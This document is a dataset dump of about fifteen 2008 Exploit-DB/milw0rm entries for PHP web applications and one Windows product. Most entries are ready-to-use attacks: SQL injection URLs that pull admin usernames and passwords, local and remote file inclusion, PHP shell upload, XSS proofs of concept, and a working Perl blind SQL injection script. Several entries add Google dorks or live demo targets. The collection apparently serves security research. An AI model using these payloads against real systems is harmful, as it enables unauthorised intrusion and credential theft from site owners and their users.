QLWD/code_shield huggingface dataset:
标题: Mole Group Real Estate Script 1.1 - SQL Injection EDB-ID: 6022 CVE: 2008-3123 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-08 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+        Real Estate Script <= 1.1 Remote SQL Injection Vulnerability      +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 8 JULY 2008
[*] Script Download: http://www.mole-group.com/content/view/41/55/
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

 Real Estate Script from mole-group.com contains a insecure mysql query flaw, which 
 allows a remote attacker to execute arbitrary mysql querys and gaining access to confidential information.
 like username, passwords, email address's etc.

 see below for a example.



[*] SQL Injection:


 http://site.com/index.php?go=listings&listing_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,CONVERT(CONCAT(0x3C666F6E7420636F6C6F723D7265643E,username,0x3a,password,0x3C2F666F6E743E)/**/using/**/latin1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/**/FROM/**/users/**/LIMIT/**/0,1/*



[*] NOTE/TIP: 

 admin login is at /admin/
 passwords are in plaintext



[*] GREETZ: 

 milw0rm.com, h4ck-y0u.org, Offensive-Security.com, CipherCrew !



[-] Peace...

 ...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+        Real Estate Script <= 1.1 Remote SQL Injection Vulnerability      +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-08] URL: https://www.exploit-db.com/exploits/6022
标题: Kasseler CMS 1.3.0 - Local File Inclusion / Cross-Site Scripting EDB-ID: 6007 CVE: 2008-3088 2008-3087 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-05 漏洞利用脚本: Cr@zy_King / sqL L0v3r'Z Crew Co. 2008 // From Turkey

http://biyosecurity.com / If there isn't the devotion Success there... : )

Greatz : aLL my Friend'z

Kasseler-Cms (LFI/XSS) Multiple Remote Vulnerabilities

Down : http://www.kasseler-cms.net

LFI : http://127.0.0.1/index.php?module=phpManual&file=../../../../../../../../../../../etc/passwd

Xss : http://127.0.0.1/http://www.kasseler-cms.net/index.php?module=Files&do=Category&cid=[XSS] 

# milw0rm.com [2008-07-05] URL: https://www.exploit-db.com/exploits/6007
标题: ContentNow 1.4.1 - Arbitrary File Upload / Cross-Site Scripting EDB-ID: 6011 CVE: 2008-3181 2008-3180 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-06 漏洞利用脚本: ===============================================================
  ContentNow CMS (Upload/XSS) Multiple Remote Vulnerabilities
===============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 6 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Content CMS
 VERSION     : 1.4.1
 VENDOR      : http://www.contentnow.mf4k.de
 DOWNLOAD    : http://downloads.sourceforge.net/contentnow/contentNow_141.zip
#####################################################

--- Arbitrary File Upload ---

 This Vulnerability can upload malicious files direct to web server.

[Login as user]

[+] Upload Path: http://[Target]/[contentNow_path]/upload.php?path=/[contentNow_path]/upload/

    [-] Example: http://192.168.24.25/contentNow/cn/upload.php?path=/contentNow/upload/

[+] Shell Script: http://[Target]/[contentNow_path]/upload/file/[Evil File]

    [-] Example: http://192.168.24.25/contentNow/upload/file/myshell.php


--- Remote XSS Exploit ---

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/contentnow/upload/file/language_menu.php/>"><script>alert("XSS")</script>
[+] http://192.168.24.25/contentnow/upload/file/language_menu.php?pageid=>"><script>alert("XSS")</script>&clang=en

##################################################################
  Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  
##################################################################

# milw0rm.com [2008-07-06] URL: https://www.exploit-db.com/exploits/6011
标题: Panda Security ActiveScan 2.0 (Update) - Remote Buffer Overflow EDB-ID: 6004 CVE: 2008-3156 2008-3155 类型: REMOTE 平台: WINDOWS 发布日期: 2008-07-04 漏洞利用脚本: Author:   Karol Wiesek <karol [at] wiesek {dizd0t} pl>
Homepage: http://karol.wiesek.pl/

There exists two vulnerabilities in Panda Security ActiveScan 2.0 Update function.
1) typical overflow ( this exploit )
2) Update function allows to install any ( attacker suplied ) CABinet into victims system

Panda Security have not respond in any manner, thus i have no information of any patches, plans for patching ...

* UPDATE * 

Panda has patched newest version, so update will not connect to custom ( attacker supplied ) URL.

Exploit:
http://karol.wiesek.pl/files/panda.tgz
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6004.tgz (2008-panda.tgz)

# milw0rm.com [2008-07-04] URL: https://www.exploit-db.com/exploits/6004
标题: PHPwebnews 0.2 MySQL Edition - 'det' SQL Injection EDB-ID: 5999 CVE: 2008-6812 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-03 漏洞利用脚本: #######################################################################################
#                                                                                                                                                                 
#        ...:::::phpwebnews-mysql 0.2  SQL Injection Vulnerability ::::....                                           
#                                                                                                                                                                 
#######################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir
=================================================================================
Discoverd By :virangar security team

User In Virangar : d4v00d_cr4ck3r
=================================================================================
Special TNX To:Mr.nosrati,H4di.H4di,black.shadowes,Mr.hesy,Zahra

& All virangar Members & All hackerz
 =================================================================================
Download:
http://www.codewalkers.com/codefiles/476_phpwebnews-mysql.zip
 =================================================================================
expl0it:
http://site.com/phpwebnews-mysql/bukutamu.php?det=-1/**/union/**/select/**/1,2,user,passwd,5,6,7/**/from/**/user/*
 =================================================================================
Young Iranian h4ck3rz
=================================================================================

# milw0rm.com [2008-07-03] URL: https://www.exploit-db.com/exploits/5999
标题: XPOZE Pro 3.06 - 'uid' SQL Injection EDB-ID: 6010 CVE: 2008-3089 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-06 漏洞利用脚本: ######################
*^Hiva Digital Security Team^
          ^HIva Team^
######################
*Script:
Xpoze Pro CMS 2008
XPOZE Pro 3.06 SQL Injection Exploit
######################
*Demo:
http://demo.xpoze.org/
######################
*Authors:
farenh3it, sn0wman
######################
*Exploit:

/user.html?uid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat(user,0x3a,pass),19,20,21,22,id,24,25,26,27,29,30,31,32,33+FROM+users+WHERE+id=1/*

######################
*for exam: 
http://demo.xpoze.org/user.html?uid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat(user,0x3a,pass),19,20,21,22,id,24,25,26,27,29,30,31,32,33+FROM+users+WHERE+id=1/*
######################
*Thanks to str0ke :X

# milw0rm.com [2008-07-06] URL: https://www.exploit-db.com/exploits/6010
标题: Joomla! Component DBQuery 1.4.1.1 - Remote File Inclusion EDB-ID: 6003 CVE: 2008-6841 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-04 漏洞利用脚本: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@JOOmla com_dbquery Remote file Inclusion@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@    Author:SsEs       
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@    Contact:h4cks.in@gmail.com    
@@@@@@@@@@@@@@@@@   Greetss: www.h4cks.in ||| www.1919turk.org || www.illegalsecurity.us ||| www.siberaskerler.org ||
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@ Dork: inurl:"com_dbquery" OR "index.php?option=com_dbquery"
@@@@@@@@@@@@@@@@@ **Bug:
@@@@@@@@@@@@@@@@@ administrator\components\com_dbquery\classes\DBQ\admin\common.class.php on line 6
@@@@@@@@@@@@@@@@@ global $mosConfig_absolute_path;
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@ require_once($mosConfig_absolute_path.â€™/components/com_dbquery/classes/DBQ/common.class.phpâ€™);
@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@ http://sitename.com/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=
@@@@@@@@@@@@@@@@@

side note:
 <name>DBQuery</name>
 <creationDate>February 2007</creationDate>
 <author>Green Mountain Information Technology Consulting</author>
 <copyright>This component is released under the GNU/GPL License</copyright>
 <authorEmail>consulting@gmitc.biz</authorEmail>

 <authorUrl>http://www.gmitc.biz</authorUrl>
 <version>1.4.1 Final</version>
 <description>Database Query is a Joomla query manager.</description>

# milw0rm.com [2008-07-04] URL: https://www.exploit-db.com/exploits/6003
标题: CMS WebBlizzard - 'index.php' Blind SQL Injection EDB-ID: 5997 CVE: 2008-3154 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-03 漏洞利用脚本: #/usr/bin/perl

#|+| Vendor Not Notified
#|+| Author: Bl@ckbe@rD
#|+| Discovered On: 10 june  2008
#|+| greetz: InjEctOrs , underz0ne crew 
#--//-->
# -- CMS webBlizzard  Blind SQL Injection Exploit --
#--//--> Exploit :
use strict;
use LWP::Simple;

print "-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-\n";
print "-                                                                  -\n";
print "-                                                                  -\n";
print "-                                                                  -\n";
print "-         CMS WebBlizzard  Blind SQL Injection exploit             -\n";
print "-                                                                  -\n";
print "-                                                                  -\n";
print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n";

print "\nEnter URL (ie: http://site.com): ";
 chomp(my $url=<STDIN>);
 
if(inject_test($url)) {
 print "Injecting.. Please Wait this could take several minutes..\n\n";
 my $details = blind($url);
 print "Exploit Success! Admin Details: ".$details;
 exit;
}

sub blind {

 my $url    = shift;
 my $res    = undef;
 my $chr    = 48;
 my $substr = 1;
 my $done   = 1;
 
 while($done) {
  my $content = get($url."/index.php?page=6)  and ascii(substring((SELECT CONCAT(username,0x3a,password,0x5E) FROM 
mysql.user),".$substr.",1))=".$chr."/*");
  
  if($content =~ /Previous/ && $chr == 94) { $done = 0; }
   elsif($content =~ /Previous/) { $res .= chr($chr); $substr++; $chr = 48; }
    else { $chr++; }
 }
 return $res;
}

sub inject_test {

 my $url     = shift;
 my $true    = get($url."/index.php?page=6) and 1=1 /*");
 my $false   = get($url."/index.php?page=6) and 1=2 /*");
 
 if($true =~ /Previous/ && $false !~ /Previous/) {
  print "\nTarget Site Vulnerable!\n\n";
  return 1;
 } else { print "\nTarget Site Not Vulnerable! Exiting..\n"; exit; }
}

# milw0rm.com [2008-07-03] URL: https://www.exploit-db.com/exploits/5997
标题: PHPwebnews 0.2 MySQL Edition - 'id_kat' SQL Injection EDB-ID: 5998 CVE: 2008-6813 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-03 漏洞利用脚本: ____       _   _       _ ___   __                        _  __
 / ___| ___ | \ | |_   _| | \ \ / /__  _   _ _ __ ___  ___| |/ _| ___  _ __ __ _
| |  _ / _ \|  \| | | | | | |\ V / _ \| | | | '__/ __|/ _ \ | |_ / _ \| '__/ _` |
| |_| | (_) | |\  | |_| | | | | | (_) | |_| | |  \__ \  __/ |  _| (_) | | | (_| |
 \____|\___/|_| \_|\__,_|_|_| |_|\___/ \__,_|_|  |___/\___|_|_|(_)___/|_|  \__, |
---------------------------------------------------------------------------|___/
Exploit found by sToRm


phpWebNews v0.2 MySQL Edition (Surat kabar/News Management Online)
SQL Injection


SQL Injection
-------------

index.php?id_kat=null+UNION+ALL+SELECT+1,2,3,4,concat(user,0x3a,passwd),6,7,8,9,10,11,12,13+FROM+user--


$id_kat=$_GET[id_kat];     
$m_conn = db_connect();
if ((empty($id_kat))||($id_kat==''))
 $m_sql = "select * from berita where status='tampil' and order by tgl desc";
else
 $m_sql = "select * from berita where status='tampil' and kode_kategori=$id_kat and isi_berita like %'$m_txt'% order by tgl desc";


Here, we have a classic SQL MySQL injection.  The GET variable "id_kat" isn't sanitized before being passed to the query.  By injecting our string, the query becomes:

select * from berita where status='tampil' and kode_kategori=null UNION ALL SELECT 1,2,3,4,concat(user,0x3a,passwd),6,7,8,9,10,11,12,13 FROM user-- and isi_berita like %'$m_txt'% order by tgl desc

The comment renders the rest of the query to be useless.  We are effectively grabbing the first user from the table "user", which is the admin.  You can inject the other strings with server variables and attempt to fetch mysql.user hashes, if the conditions apply.

# milw0rm.com [2008-07-03] URL: https://www.exploit-db.com/exploits/5998
标题: Joomla! Component Brightcode Weblinks - 'catid' SQL Injection EDB-ID: 5993 CVE: 2008-3083 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-02 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/   Joomla Component Brightcode Weblinks Remote SQL injection   \
\                                    /
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com__brightweblinks

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_brightweblinks&Itemid=58&catid={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_brightweblinks&Itemid=58&catid=<valid_id> UNION SELECT 1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 FROM jos_users WHERE usertype=0x53757065722041646d696e6973747261746f72--
[*] Example2 :   http://localhost/[Joomla_Path]/index.php?option=com_brightweblinks&Itemid=58&catid=<valid_id> UNION SELECT 1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16 FROM jos_users WHERE usertype=0x53757065722041646d696e6973747261746f72--
     
----------------------------------------------------------------------------
[*] Greetings :  All friends & muslims HaCkeRs...
[*] Greetings2:  http://www.dz-secure.com
                 http://palcastle.org/cc

# milw0rm.com [2008-07-02] URL: https://www.exploit-db.com/exploits/5993
标题: XchangeBoard 1.70 - 'boardID' SQL Injection EDB-ID: 5991 CVE: 2008-3035 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-02 漏洞利用脚本: ######################
 #
 # xchangeboard 1.70 final and lower
 #
 #
 ######################
 #
 #Bug by: haZl0oh #
 #Dork: "Powered by xchangeboard"
 #info:you have to be an registered user to use it like this !!!!
 #there should be a lot more vulns there ;)
 #
 #
 #
 # credentials like passwords are saved as cookies .... :D
 ##
 ###
 ##
 #
 #PoC:
 #http://site.com/path/newThread.php?boardID=+999999%20union%20select%20email,concat_ws(0x3a,nick,substring(password,1,100)),email,email,email%20from%20user/*
 #
 # #
 #
 #
 #######################
 #
 #Greetz to h0yt3r ,everiZzel & Mastermaefju
 #
 #######################
#######################

# milw0rm.com [2008-07-02] URL: https://www.exploit-db.com/exploits/5991
标题: Efestech Shop 2.0 - 'cat_id' SQL Injection EDB-ID: 5987 CVE: 2008-3030 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-01 漏洞利用脚本: Title: Efestech Shop v2.0 Sql Ä°njection Vuln

==============================
==================================

[+] Author : Dr.Kacak
[+] Special Thankz : KnockOut And All My Friends
[+] System 0VerfL0WerZ Group & BuqX Team
[+] Mail : BuqX [at] Hotmail [dot] com

=================================================================

Script : Efestech Shop v2.0
Verz: 2.0
Download : http://www.aspindir.com/indir/5479

 

SQL attack ;

http://target.com/path/?cmd=urunler&cat_id=30+union+select+0+from+ayarlar

Tables;

ayarlar
cat_eng
cat_tr
eng
lisans
mark_eng
mark_tr
product
subcat_eng
subcat_tr
tr
urun_resim

 

###############################################################

Example Bug Site :

http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+union+select+0+from+ayarlar
http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+union+select+0+from+eng
http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+union+select+0+from+tr

# milw0rm.com [2008-07-01] URL: https://www.exploit-db.com/exploits/5987
标题: Joomla! Component versioning 1.0.2 - 'id' SQL Injection EDB-ID: 5989 CVE: 2008-6481 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-01 漏洞利用脚本: [+] Name    : Joomla Component com_versioning (id) Remote Sql Injection Vulnerability

[+] Team           : DarkMatter Crew

[+] Crew website       : WwW.SykoPainKilla.CoM

[+] Author         : SpK & His0k4

[+] Contact        : fatal.1.ty[at]hotmail.com[dot]com

[+] D0rk      : inurl:index.php?option=com_versioning



[+] Expl0iT :

http://sykopainkilla.com/index.php?option=com_versioning&task=edit&id=-83 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM jos_users--


#
#
#
#
############################################
                                           #
Visit our website www.sykopainkilla.com    #
                                           #
                                           #
#DarmMatter & SpK F0R3V3R                  #
                                           #
############################################
#
#
#
#


side note:
<name>versioning</name>
<creationDate>11.14.2006</creationDate>
<author>Thomas Papin</author>
<copyright>
This component is released under the GNU/GPL License.
</copyright>
<authorEmail>thomas.papin@free.fr</authorEmail>
<authorUrl>www.joomprod.com</authorUrl>
<version>1.0.2</version>

# milw0rm.com [2008-07-01] URL: https://www.exploit-db.com/exploits/5989
标题: CMS little 0.0.1 - 'template' Local File Inclusion EDB-ID: 5992 CVE: 2008-3036 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-02 漏洞利用脚本: ======================================================================
  CMS little (index.php template) Local File Inclusion Vulnerability
======================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 2 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : CMS little
 VERSION     : 0.0.1
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/littlecms/CMSLite.zip
#####################################################

--- Local File Inclusion ---

-----------------------------
 Vulnerable File (index.php)
-----------------------------

@Line 
   64:  include $currentpage[template];
   65:  } else {
   66: include $template.".tmpl.php";

---------
 Exploit
---------

[+] http://[Target]/[cmslite_path]/index.php?template=[LFI]


------
 POC
------

[+] http://[Target]/[cmslite_path]/index.php?template=../../../../../../../../boot.ini%00


    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.
##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-07-02] URL: https://www.exploit-db.com/exploits/5992
标题: plx Ad Trader 3.2 - 'adid' SQL Injection EDB-ID: 5988 CVE: 2008-3025 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-01 漏洞利用脚本: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@     plx Ad Trader v3.2  SQL Injection Vulnerability
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    Author: Hussin X                                   @
@                                                       @
@    Home :  www.tryag.cc/cc                            @
@                                                       @
@    email:  darkangel_g85[at]Yahoo[DoT]com             @
@            hussin.x[at]hotmail[DoT]com                @
@                                                       @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    
@
@    HomE script : http://plxwebdev.com
@
@    DeMo        : http://plxwebdev.com/demos/plxadtrader                              
@                                                      
@                                                      
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@
@
@

ExPloiT :

www.[target].com/Script/ad.php?s=redir&f=siteurl&adid=-12+UNION+SELECT+concat_ws(0x3a,login,pass)+from+br_admins-- 



L!VE DEMO :

USER

http://plxwebdev.com/demos/plxadtrader/ad.php?s=redir&f=siteurl&adid=-12+UNION+SELECT+login+from+br_admins--

PASSWORD

http://plxwebdev.com/demos/plxadtrader/ad.php?s=redir&f=siteurl&adid=-12+UNION+SELECT+pass+from+br_admins--


@
@
@
@@@@@@@@@@@@@@@@@@@@@@@( Greetz )@@@@@@@@@@@@@@@@@@@@@@@@
@                                                       @
@ TrYaG.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR       @
@                                                       @
@          str0ke / FAHD  /Iraqihack / Silic0n          @
@@@@@@@@@@@@@@@@@                       @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@(and All IRAQIs)@@@@@@@@@@@@@@@@@@@@

# milw0rm.com [2008-07-01] URL: https://www.exploit-db.com/exploits/5988